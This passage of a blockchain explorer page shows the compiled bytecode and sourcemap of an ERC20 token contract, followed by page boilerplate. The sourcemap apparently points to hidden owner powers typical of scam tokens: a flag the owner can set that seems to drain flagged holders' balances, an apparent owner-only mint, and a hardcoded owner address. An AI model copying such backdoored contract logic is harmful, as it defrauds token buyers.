ffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3b9190611a66565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dca9190611a9a565b610dd49190611a66565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e969190611321565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610ef99190611a66565b604051610f069190611321565b60405180910390a350505050565b6000808284610f239190611a9a565b905083811015610f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5f90611b3c565b60405180910390fd5b8091505092915050565b600080831415610f855760009050610fe7565b60008284610f939190611a0c565b9050828482610fa29190611b8b565b14610fe2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd990611c2e565b60405180910390fd5b809150505b92915050565b600061102f83836040518060400160405280601f81526020017f536166654d6174683a20737562627472616374696f6e206f766572666c6f7700815250611081565b905092915050565b600061107983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110e5565b905092915050565b60008383111582906110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c091906111e1565b60405180910390fd5b50600083856110d89190611a66565b9050809150509392505050565b6000808311829061112c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112391906111e1565b60405180910390fd5b506000838561113b9190611b8b565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611182578082015181840152602081019050611167565b83811115611191576000848401525b50505050565b6000601f19601f8301169050919050565b60006111b382611148565b6111bd8185611153565b93506111cd818560208601611164565b6111d681611197565b840191505092915050565b600060208201905081810360008301526111fb81846111a8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061123382611208565b9050919050565b61124381611228565b811461124e57600080fd5b50565b6000813590506112608161123a565b92915050565b6000819050919050565b61127981611266565b811461128457600080fd5b50565b60008135905061129681611270565b92915050565b600080604083850312156112b3576112b2611203565b5b60006112c185828601611251565b92505060206112d285828601611287565b9150509250929050565b60008115159050919050565b6112f1816112dc565b82525050565b600060208201905061130c60008301846112e8565b92915050565b61131b81611266565b82525050565b60006020820190506113366000830184611312565b92915050565b60008060006060848603121561135557611354611203565b5b600061136386828701611251565b935050602061137486828701611251565b925050604061138586828701611287565b9150509250925092565b6000602082840312156113a5576113a4611203565b5b60006113b384828501611251565b91505092915050565b6113c5816112dc565b81146113d057600080fd5b50565b6000813590506113e2816113bc565b92915050565b600080604083850312156113ff576113fe611203565b5b600061140d85828601611251565b925050602061141e858286016113d3565b9150509250929050565b61143181611228565b82525050565b600060208201905061144c6000830184611428565b92915050565b6000806040838503121561146957611468611203565b5b600061147785828601611251565b925050602061148885828601611251565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114d957607f821691505b602082108114156114ed576114ec611492565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6e6e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b600061154f602283611153565b915061155a826114f3565b604082019050919050565b6000602082019050818103600083015261157e81611542565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b60006115e1602983611153565b91506115ec82611585565b604082019050919050565b60006020820190508181036000830152611610816115d4565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611673602583611153565b915061167e82611617565b604082019050919050565b600060208201905081810360008301526116a281611666565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611705602383611153565b9150611710826116a9565b604082019050919050565b60006020820190508181036000830152611734816116f8565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611797602683611153565b91506117a28261173b565b604082019050919050565b600060208201905081810360008301526117c68161178a565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611829602483611153565b9150611834826117cd565b604082019050919050565b600060208201905081810360008301526118588161181c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156118e5578086048111156118c1576118c061185f565b5b60018516156118d05780820291505b80810290506118de8561188e565b94506118a5565b94509492505050565b6000826118fe57600190506119ba565b8161190c57600090506119ba565b8160018114611922576002811461192c5761195b565b60019150506119ba565b60ff84111561193e5761193d61185f565b5b8360020a9150848211156119555761195461185f565b5b506119ba565b5060208310610133831016604e8410600b84101617156119905782820a90508381111561198b5761198a61185f565b5b6119ba565b61199d848484600161189b565b925090508184048111156119b4576119b361185f565b5b81810290505b9392505050565b60006119cc82611266565b91506119d783611266565b9250611a047fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118ee565b905092915050565b6000611a1782611266565b9150611a2283611266565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a5b57611a5a61185f565b5b828202905092915050565b6000611a7182611266565b9150611a7c83611266565b925082821015611a8f57611a8e61185f565b5b828203905092915050565b6000611aa582611266565b9150611ab083611266565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ae557611ae461185f565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611b26601b83611153565b9150611b3182611af0565b602082019050919050565b60006020820190508181036000830152611b5581611b19565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b9682611266565b9150611ba183611266565b925082611bb157611bb0611b5c565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c18602183611153565b9150611c2382611bbc565b604082019050919050565b60006020820190508181036000830152611c4781611c0b565b905091905056fea2646970667358221220bef15be0a197c5778c69d95be80c8c511e1c404cc9ee05e0fb51eda0c16b415b64736f6c634300080c0033
Deployed Bytecode Sourcemap
3906:3623:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4672:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6471:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4957:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3657:240;;;:::i;:::-;;7173:351;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4862:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6345:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4765:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5117:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5989:346;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3428:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7010:155;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4672:85;4711:13;4744:5;4737:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4672:85;:::o;6471:169::-;6554:4;6571:39;6580:12;:10;:12::i;:::-;6594:7;6603:6;6571:8;:39::i;:::-;6628:4;6621:11;;6471:169;;;;:::o;4957:102::-;5012:7;5039:12;;5032:19;;4957:102;:::o;3657:240::-;3580:12;:10;:12::i;:::-;3567:25;;:9;:7;:9::i;:::-;:25;;;3559:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;3772:42:::1;3731:85;;3754:8;::::0;::::1;;;;;;;;3731:85;;;;;;;;;;;;3846:42;3827:8;::::0;:62:::1;;;;;;;;;;;;;;;;;;3657:240::o:0;7173:351::-;7279:4;7296:36;7306:6;7314:9;7325:6;7296:9;:36::i;:::-;7343:24;7370:11;:19;7382:6;7370:19;;;;;;;;;;;;;;;:33;7390:12;:10;:12::i;:::-;7370:33;;;;;;;;;;;;;;;;7343:60;;7442:6;7422:16;:26;;7414:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;7512:4;7505:11;;;7173:351;;;;;:::o;4862:87::-;4905:7;4932:9;;4925:16;;4862:87;:::o;6345:118::-;6411:7;6438:8;:17;6447:7;6438:17;;;;;;;;;;;;;;;;6431:24;;6345:118;;;:::o;4765:89::-;4806:13;4839:7;4832:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4765:89;:::o;5117:122::-;3580:12;:10;:12::i;:::-;3567:25;;:9;:7;:9::i;:::-;:25;;;3559:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5225:6:::1;5201:11;:21;5213:8;5201:21;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;5117:122:::0;;:::o;5989:346::-;6075:4;6109:12;:10;:12::i;:::-;6096:25;;:9;:7;:9::i;:::-;:25;;;:51;;;;;6138:9;6125:22;;:9;:7;:9::i;:::-;:22;;;6096:51;6092:161;;;6189:52;6234:6;6189:40;6216:12;;6189:8;:22;6198:12;:10;:12::i;:::-;6189:22;;;;;;;;;;;;;;;;:26;;:40;;;;:::i;:::-;:44;;:52;;;;:::i;:::-;6164:8;:22;6173:12;:10;:12::i;:::-;6164:22;;;;;;;;;;;;;;;:77;;;;6092:161;6263:42;6273:12;:10;:12::i;:::-;6287:9;6298:6;6263:9;:42::i;:::-;6323:4;6316:11;;5989:346;;;;:::o;3428:91::-;3476:7;3503:8;;;;;;;;;;;3496:15;;3428:91;:::o;7010:155::-;7101:7;7128:11;:20;7140:7;7128:20;;;;;;;;;;;;;;;:29;7149:7;7128:29;;;;;;;;;;;;;;;;7121:36;;7010:155;;;;:::o;1154:115::-;1207:15;1250:10;1235:26;;1154:115;:::o;6648:354::-;6771:1;6752:21;;:7;:21;;;;6744:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6853:1;6834:21;;:7;:21;;;;6826:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6938:6;6906:11;:20;6918:7;6906:20;;;;;;;;;;;;;;;:29;6927:7;6906:29;;;;;;;;;;;;;;;:38;;;;6978:7;6960:34;;6969:7;6960:34;;;6987:6;6960:34;;;;;;:::i;:::-;;;;;;;;6648:354;;;:::o;5247:734::-;5371:1;5353:20;;:6;:20;;;;5345:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5456:1;5435:23;;:9;:23;;;;5427:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5536:4;5513:27;;:11;:19;5525:6;5513:19;;;;;;;;;;;;;;;;;;;;;;;;;:27;;;5510:131;;;5576:53;5619:9;;5613:2;:15;;;;:::i;:::-;5598:12;:30;;;;:::i;:::-;5576:8;:16;5585:6;5576:16;;;;;;;;;;;;;;;;:21;;:53;;;;:::i;:::-;5557:8;:16;5566:6;5557:16;;;;;;;;;;;;;;;:72;;;;5510:131;5651:17;5695:29;5720:3;5695:20;5706:8;;5695:6;:10;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;5683:41;;5772:6;5754:8;:16;5763:6;5754:16;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;5735:8;:16;5744:6;5735:16;;;;;;;;;;;;;;;:44;;;;5843:9;5834:6;5812:8;:19;5821:9;5812:19;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;:40;;;;:::i;:::-;5790:8;:19;5799:9;5790:19;;;;;;;;;;;;;;;:62;;;;5886:12;;;;;;;;;;;5868:42;;5878:6;5868:42;;;5900:9;5868:42;;;;;;:::i;:::-;;;;;;;;5943:9;5926:47;;5935:6;5926:47;;;5963:9;5954:6;:18;;;;:::i;:::-;5926:47;;;;;;:::i;:::-;;;;;;;;5334:647;5247:734;;;:::o;1543:181::-;1601:7;1621:9;1637:1;1633;:5;;;;:::i;:::-;1621:17;;1662:1;1657;:6;;1649:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1715:1;1708:8;;;1543:181;;;;:::o;2118:252::-;2176:7;2207:1;2202;:6;2198:47;;;2232:1;2225:8;;;;2198:47;2257:9;2273:1;2269;:5;;;;:::i;:::-;2257:17;;2302:1;2297;2293;:5;;;;:::i;:::-;:10;2285:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2361:1;2354:8;;;2118:252;;;;;:::o;1732:139::-;1791:7;1818:45;1823:1;1826;1818:45;;;;;;;;;;;;;;;;;:4;:45::i;:::-;1811:52;;1732:139;;;;:::o;2378:132::-;2436:7;2463:39;2467:1;2470;2463:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2456:46;;2378:132;;;;:::o;1879:227::-;2000:7;2033:1;2028;:6;;2036:12;2020:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2060:9;2076:1;2072;:5;;;;:::i;:::-;2060:17;;2097:1;2090:8;;;1879:227;;;;;:::o;2518:::-;2638:7;2670:1;2666;:5;2673:12;2658:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2697:9;2713:1;2709;:5;;;;:::i;:::-;2697:17;;2736:1;2729:8;;;2518:227;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:329::-;4530:6;4579:2;4567:9;4558:7;4554:23;4550:32;4547:119;;;4585:79;;:::i;:::-;4547:119;4705:1;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4676:117;4471:329;;;;:::o;4806:116::-;4876:21;4891:5;4876:21;:::i;:::-;4869:5;4866:32;4856:60;;4912:1;4909;4902:12;4856:60;4806:116;:::o;4928:133::-;4971:5;5009:6;4996:20;4987:29;;5025:30;5049:5;5025:30;:::i;:::-;4928:133;;;;:::o;5067:468::-;5132:6;5140;5189:2;5177:9;5168:7;5164:23;5160:32;5157:119;;;5195:79;;:::i;:::-;5157:119;5315:1;5340:53;5385:7;5376:6;5365:9;5361:22;5340:53;:::i;:::-;5330:63;;5286:117;5442:2;5468:50;5510:7;5501:6;5490:9;5486:22;5468:50;:::i;:::-;5458:60;;5413:115;5067:468;;;;;:::o;5541:118::-;5628:24;5646:5;5628:24;:::i;:::-;5623:3;5616:37;5541:118;;:::o;5665:222::-;5758:4;5796:2;5785:9;5781:18;5773:26;;5809:71;5877:1;5866:9;5862:17;5853:6;5809:71;:::i;:::-;5665:222;;;;:::o;5893:474::-;5961:6;5969;6018:2;6006:9;5997:7;5993:23;5989:32;5986:119;;;6024:79;;:::i;:::-;5986:119;6144:1;6169:53;6214:7;6205:6;6194:9;6190:22;6169:53;:::i;:::-;6159:63;;6115:117;6271:2;6297:53;6342:7;6333:6;6322:9;6318:22;6297:53;:::i;:::-;6287:63;;6242:118;5893:474;;;;;:::o;6373:180::-;6421:77;6418:1;6411:88;6518:4;6515:1;6508:15;6542:4;6539:1;6532:15;6559:320;6603:6;6640:1;6634:4;6630:12;6620:22;;6687:1;6681:4;6677:12;6708:18;6698:81;;6764:4;6756:6;6752:17;6742:27;;6698:81;6826:2;6818:6;6815:14;6795:18;6792:38;6789:84;;;6845:18;;:::i;:::-;6789:84;6610:269;6559:320;;;:::o;6885:221::-;7025:34;7021:1;7013:6;7009:14;7002:58;7094:4;7089:2;7081:6;7077:15;7070:29;6885:221;:::o;7112:366::-;7254:3;7275:67;7339:2;7334:3;7275:67;:::i;:::-;7268:74;;7351:93;7440:3;7351:93;:::i;:::-;7469:2;7464:3;7460:12;7453:19;;7112:366;;;:::o;7484:419::-;7650:4;7688:2;7677:9;7673:18;7665:26;;7737:9;7731:4;7727:20;7723:1;7712:9;7708:17;7701:47;7765:131;7891:4;7765:131;:::i;:::-;7757:139;;7484:419;;;:::o;7909:228::-;8049:34;8045:1;8037:6;8033:14;8026:58;8118:11;8113:2;8105:6;8101:15;8094:36;7909:228;:::o;8143:366::-;8285:3;8306:67;8370:2;8365:3;8306:67;:::i;:::-;8299:74;;8382:93;8471:3;8382:93;:::i;:::-;8500:2;8495:3;8491:12;8484:19;;8143:366;;;:::o;8515:419::-;8681:4;8719:2;8708:9;8704:18;8696:26;;8768:9;8762:4;8758:20;8754:1;8743:9;8739:17;8732:47;8796:131;8922:4;8796:131;:::i;:::-;8788:139;;8515:419;;;:::o;8940:224::-;9080:34;9076:1;9068:6;9064:14;9057:58;9149:7;9144:2;9136:6;9132:15;9125:32;8940:224;:::o;9170:366::-;9312:3;9333:67;9397:2;9392:3;9333:67;:::i;:::-;9326:74;;9409:93;9498:3;9409:93;:::i;:::-;9527:2;9522:3;9518:12;9511:19;;9170:366;;;:::o;9542:419::-;9708:4;9746:2;9735:9;9731:18;9723:26;;9795:9;9789:4;9785:20;9781:1;9770:9;9766:17;9759:47;9823:131;9949:4;9823:131;:::i;:::-;9815:139;;9542:419;;;:::o;9967:222::-;10107:34;10103:1;10095:6;10091:14;10084:58;10176:5;10171:2;10163:6;10159:15;10152:30;9967:222;:::o;10195:366::-;10337:3;10358:67;10422:2;10417:3;10358:67;:::i;:::-;10351:74;;10434:93;10523:3;10434:93;:::i;:::-;10552:2;10547:3;10543:12;10536:19;;10195:366;;;:::o;10567:419::-;10733:4;10771:2;10760:9;10756:18;10748:26;;10820:9;10814:4;10810:20;10806:1;10795:9;10791:17;10784:47;10848:131;10974:4;10848:131;:::i;:::-;10840:139;;10567:419;;;:::o;10992:225::-;11132:34;11128:1;11120:6;11116:14;11109:58;11201:8;11196:2;11188:6;11184:15;11177:33;10992:225;:::o;11223:366::-;11365:3;11386:67;11450:2;11445:3;11386:67;:::i;:::-;11379:74;;11462:93;11551:3;11462:93;:::i;:::-;11580:2;11575:3;11571:12;11564:19;;11223:366;;;:::o;11595:419::-;11761:4;11799:2;11788:9;11784:18;11776:26;;11848:9;11842:4;11838:20;11834:1;11823:9;11819:17;11812:47;11876:131;12002:4;11876:131;:::i;:::-;11868:139;;11595:419;;;:::o;12020:223::-;12160:34;12156:1;12148:6;12144:14;12137:58;12229:6;12224:2;12216:6;12212:15;12205:31;12020:223;:::o;12249:366::-;12391:3;12412:67;12476:2;12471:3;12412:67;:::i;:::-;12405:74;;12488:93;12577:3;12488:93;:::i;:::-;12606:2;12601:3;12597:12;12590:19;;12249:366;;;:::o;12621:419::-;12787:4;12825:2;12814:9;12810:18;12802:26;;12874:9;12868:4;12864:20;12860:1;12849:9;12845:17;12838:47;12902:131;13028:4;12902:131;:::i;:::-;12894:139;;12621:419;;;:::o;13046:180::-;13094:77;13091:1;13084:88;13191:4;13188:1;13181:15;13215:4;13212:1;13205:15;13232:102;13274:8;13321:5;13318:1;13314:13;13293:34;;13232:102;;;:::o;13340:848::-;13401:5;13408:4;13432:6;13423:15;;13456:5;13447:14;;13470:712;13491:1;13481:8;13478:15;13470:712;;;13586:4;13581:3;13577:14;13571:4;13568:24;13565:50;;;13595:18;;:::i;:::-;13565:50;13645:1;13635:8;13631:16;13628:451;;;14060:4;14053:5;14049:16;14040:25;;13628:451;14110:4;14104;14100:15;14092:23;;14140:32;14163:8;14140:32;:::i;:::-;14128:44;;13470:712;;;13340:848;;;;;;;:::o;14194:1073::-;14248:5;14439:8;14429:40;;14460:1;14451:10;;14462:5;;14429:40;14488:4;14478:36;;14505:1;14496:10;;14507:5;;14478:36;14574:4;14622:1;14617:27;;;;14658:1;14653:191;;;;14567:277;;14617:27;14635:1;14626:10;;14637:5;;;14653:191;14698:3;14688:8;14685:17;14682:43;;;14705:18;;:::i;:::-;14682:43;14754:8;14751:1;14747:16;14738:25;;14789:3;14782:5;14779:14;14776:40;;;14796:18;;:::i;:::-;14776:40;14829:5;;;14567:277;;14953:2;14943:8;14940:16;14934:3;14928:4;14925:13;14921:36;14903:2;14893:8;14890:16;14885:2;14879:4;14876:12;14872:35;14856:111;14853:246;;;15009:8;15003:4;14999:19;14990:28;;15044:3;15037:5;15034:14;15031:40;;;15051:18;;:::i;:::-;15031:40;15084:5;;14853:246;15124:42;15162:3;15152:8;15146:4;15143:1;15124:42;:::i;:::-;15109:57;;;;15198:4;15193:3;15189:14;15182:5;15179:25;15176:51;;;15207:18;;:::i;:::-;15176:51;15256:4;15249:5;15245:16;15236:25;;14194:1073;;;;;;:::o;15273:285::-;15333:5;15357:23;15375:4;15357:23;:::i;:::-;15349:31;;15401:27;15419:8;15401:27;:::i;:::-;15389:39;;15447:104;15484:66;15474:8;15468:4;15447:104;:::i;:::-;15438:113;;15273:285;;;;:::o;15564:348::-;15604:7;15627:20;15645:1;15627:20;:::i;:::-;15622:25;;15661:20;15679:1;15661:20;:::i;:::-;15656:25;;15849:1;15781:66;15777:74;15774:1;15771:81;15766:1;15759:9;15752:17;15748:105;15745:131;;;15856:18;;:::i;:::-;15745:131;15904:1;15901;15897:9;15886:20;;15564:348;;;;:::o;15918:191::-;15958:4;15978:20;15996:1;15978:20;:::i;:::-;15973:25;;16012:20;16030:1;16012:20;:::i;:::-;16007:25;;16051:1;16048;16045:8;16042:34;;;16056:18;;:::i;:::-;16042:34;16101:1;16098;16094:9;16086:17;;15918:191;;;;:::o;16115:305::-;16155:3;16174:20;16192:1;16174:20;:::i;:::-;16169:25;;16208:20;16226:1;16208:20;:::i;:::-;16203:25;;16362:1;16294:66;16290:74;16287:1;16284:81;16281:107;;;16368:18;;:::i;:::-;16281:107;16412:1;16409;16405:9;16398:16;;16115:305;;;;:::o;16426:177::-;16566:29;16562:1;16554:6;16550:14;16543:53;16426:177;:::o;16609:366::-;16751:3;16772:67;16836:2;16831:3;16772:67;:::i;:::-;16765:74;;16848:93;16937:3;16848:93;:::i;:::-;16966:2;16961:3;16957:12;16950:19;;16609:366;;;:::o;16981:419::-;17147:4;17185:2;17174:9;17170:18;17162:26;;17234:9;17228:4;17224:20;17220:1;17209:9;17205:17;17198:47;17262:131;17388:4;17262:131;:::i;:::-;17254:139;;16981:419;;;:::o;17406:180::-;17454:77;17451:1;17444:88;17551:4;17548:1;17541:15;17575:4;17572:1;17565:15;17592:185;17632:1;17649:20;17667:1;17649:20;:::i;:::-;17644:25;;17683:20;17701:1;17683:20;:::i;:::-;17678:25;;17722:1;17712:35;;17727:18;;:::i;:::-;17712:35;17769:1;17766;17762:9;17757:14;;17592:185;;;;:::o;17783:220::-;17923:34;17919:1;17911:6;17907:14;17900:58;17992:3;17987:2;17979:6;17975:15;17968:28;17783:220;:::o;18009:366::-;18151:3;18172:67;18236:2;18231:3;18172:67;:::i;:::-;18165:74;;18248:93;18337:3;18248:93;:::i;:::-;18366:2;18361:3;18357:12;18350:19;;18009:366;;;:::o;18381:419::-;18547:4;18585:2;18574:9;18570:18;18562:26;;18634:9;18628:4;18624:20;18620:1;18609:9;18605:17;18598:47;18662:131;18788:4;18662:131;:::i;:::-;18654:139;;18381:419;;;:::o
Swarm Source
ipfs://bef15be0a197c5778c69d95be80c8c511e1c404cc9ee05e0fb51eda0c16b415b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.